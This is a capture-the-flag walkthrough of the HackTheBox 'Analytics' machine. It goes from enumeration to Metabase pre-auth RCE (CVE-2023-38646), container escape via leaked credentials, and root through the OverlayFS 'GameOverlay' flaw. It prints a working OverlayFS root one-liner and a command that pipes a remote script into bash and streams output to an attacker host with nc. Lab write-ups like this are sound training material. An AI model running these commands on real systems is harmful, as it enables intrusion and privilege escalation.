HackTheBox | Analytics

In this walkthrough, I demonstrate how I obtained complete ownership of Analytics on HackTheBox
HackTheBox | Analytics
In: HackTheBox, Attack, CTF

Nmap Results

# Nmap 7.94SVN scan initiated Fri Feb  9 16:26:18 2024 as: nmap -Pn -p- --min-rate 5000 -A -oN nmap.txt
Nmap scan report for analytical.htb (
Host is up (0.013s latency).
Not shown: 65533 closed tcp ports (reset)
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Analytical
|_http-server-header: nginx/1.18.0 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 111/tcp)
1   12.29 ms
2   12.33 ms analytical.htb (

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Feb  9 16:26:46 2024 -- 1 IP address (1 host up) scanned in 27.54 seconds

Note the redirect to http://analytical.htb/ specified in the tcp/80 output. Let's go ahead and add that to our /etc/hosts file.

sudo echo '        analytical.htb' | sudo tee -a /etc/hosts

Service Enumeration


If we click on Login at the top-right, we can see that it points us to data.analytical.htb. Let's go ahead and add that to our /etc/hosts file as well.

echo '        data.analytical.htb' | sudo tee -a /etc/hosts

Gobuster Enumeration

Virtual Host Enumeration

gobuster vhost -k --domain analytical.htb --append-domain -u -w /usr/share/dnsrecon/subdomains-top1mil.txt -t 100 -o vhost.txt --exclude-length 166
Found: data.analytical.htb Status: 200 [Size: 77858]

Nothing new discovered here

Directory and File Enumeration

gobuster dir -u http://analytical.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt -x html,php,txt -o gobuster-80.txt -t 100
/css                  (Status: 301) [Size: 178] [--> http://analytical.htb/css/]
/images               (Status: 301) [Size: 178] [--> http://analytical.htb/images/]
/index.html           (Status: 200) [Size: 17169]
/js                   (Status: 301) [Size: 178] [--> http://analytical.htb/js/]


gobuster dir -u http://data.analytical.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt -x html,php,txt -o gobuster-80.txt -t 100 --exclude-length 77850-77899
/embed                (Status: 200) [Size: 78086]
/public               (Status: 200) [Size: 78090]

Neither of these URLs were useful

Fingerprinting the Server

I was looking through my request history in Burp Suite, inspecting the source code, and I found that on certain requests, the server responds with some embedded JSON in <script> tag with an ID of __metabaseBootstrap.

I tried using the search box in Burp for the keyword version and found a potential server version number. Using that version number, it should be possible to cross-reference available CVEs.

Searching for Potential Exploits

metabase cve - Google Search

This CVE looks very interesting and it impacts the server version on the target! Authentication is not required!

Metabase Remote Code Execution ≈ Packet Storm
Information Security Services, News, Files, Tools, Exploits, Advisories and Whitepapers

Public exploit linked in the CVE details contains a Metasploit payload

Metabase versions before contain a flaw where the secret setup-token is accessible even after the setup process has been completed. With this token a user is able to submit the setup functionality to create a new database. When creating a new database, an H2 database string is created with a TRIGGER that allows for code execution. We use a sample database for our connection string to prevent corrupting real databases. Successfully tested against Metabase 0.46.6.

Understanding the Exploit

Chaining our way to Pre-Auth RCE in Metabase (CVE-2023-38646)

Just to recap, to get to this stage, the following was done:

  • Obtained the setup token from /api/session/properties
  • Found an API endpoint that can be used with this token that validates DB connections
  • Found a 0day SQL injection vulnerability in H2 db driver
  • Found that we could use zip:/app/metabase.jar!/sample-database.db to prevent the corruption of any databases on disk

So, using the the setup token that should have been wiped from the server after setup, a malicious actor can make a JDBC connection over HTTP to the database running on the Metabase server and achieve remote code execution through SQL injection.


git clone https://github.com/securezeron/CVE-2023-38646
cd CVE-2023-38646
python3 -m pip install -r requirements.txt
Note that the IP address for the target indicates an IP address of, which makes it instantly clear that we've almost certainly landed inside of a Docker container.

Post-Exploit Enumeration

Operating Environment

OS & Kernel

Linux 42bb10c520dd 6.2.0-25-generic #25~22.04.2-Ubuntu SMP PREEMPT_DYNAMIC Wed Jun 28 09:55:23 UTC 2 x86_64 Linux
NAME="Alpine Linux"
PRETTY_NAME="Alpine Linux v3.18"

Current User

uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)

sudo: command not found

Users and Groups

Local Users

metabase:x:2000:2000:Linux User,,,:/home/metabase:/bin/ash    

Local Groups


Network Configurations

Network Interfaces

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet scope host lo
       valid_lft forever preferred_lft forever
4: eth0@if5: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP 
    link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff
    inet brd scope global eth0
       valid_lft forever preferred_lft forever   

Open Ports

tcp        0      0  *               LISTEN      1/java    

Interesting Files


Confirms again that we're almost certainly in a Docker container.  

Privilege Escalation

Container Escape

We want to optimize time spent on finding possible Docker container escape methods, so for that, we'll use linpeas.sh.

LinPEAS Enumeration

LinPEAS Data over TCP

One thing noticed when enumerating the system is that we'll see the error, No space left on device, which isn't great for storing our linpeas output locally. So, we'll use a workaround by writing the linpeas output over a TCP socket.
[kali] <---- GET /linpeas.sh HTTP/1. 1 ---- [target]
  | python3 -m http.server 80       
  `----------------------------------------> bash
  |                                           |
  |                                           `-- linpeas | nc kali_ip 443
  |                                                            |
  | nc -lnvp 443 > peas.txt <----------------------------------'

Download and Host LinPEAS on Kali

wget https://github.com/carlospolop/PEASS-ng/releases/download/20240204-ab87b191/linpeas.sh
sudo python3 -m http.server 80
sudo nc -lnvp 443 > peas.txt

Download LinPEAS and Run on Target

curl http://kali_ip/linpeas.sh | bash - 2>&1 | nc kali_ip 443
Target grabs the linpeas.sh file from Python web server
When the data stream has finished, the socket closes

Lateral to Metabase

I had run the env command before and saw the META_USER and META_PASS environment variables, but didn't initially give them much attention. However, after running linpeas and reaching a dead end, I tried using these credentials to ssh into the target.

ssh metalytics@analytical.htb
I'm in!
From here, we repeat the post-exploit enumeration steps to find additional privilege escalation paths.

Escalate to Root

In my search for privilege escalation to root, I performed my typical post-exploit enumeration and gathered more facts about the system after getting out of the container. I ran linpeas on the host after failing to find anything interesting after some lengthy enumeration.

Finally, I started looking around for kernel exploits. I try to avoid those last, due to the instability they can introduce into the environment, but I was at a dead end.

ubuntu 22.04 6.2.0-25-generic privilege escalation - Google Search
GameOverlay Vulnerability Impacts 40% of Ubuntu Workloads | Wiz Blog
Wiz Research discovers CVE-2023-2640 & CVE-2023-32629, 2 privilege escalation vulnerabilities in Ubuntu’s OverlayFS module impacting 40% of cloud workloads.
Our team has discovered significant flaws in Ubuntu's modifications to OverlayFS. These flaws allow the creation of specialized executables, which, upon execution, grant the ability to escalate privileges to root on the affected machine. Linux has a feature called "file capabilities" that grants elevated privileges to executables while they're executed. This feature is reserved for the root user, while lower-privileged users cannot create such files. However, we discovered that it's possible to craft an executable file with “scoped” file capabilities and trick the Ubuntu kernel into copying it to a different location with “unscoped” capabilities, granting anyone who executes it root-like privileges.

And, this page contains a convenient table to enumerate potentially vulnerable Ubuntu kernel versions.

Based on the post-exploit enumeration in our SSH session, we know that this host is vulnerable to this exploit.

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash")'
I continued to get errors regarding the lack of disk space on the target, which required a reset of the machine to allow the exploit to work.





More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.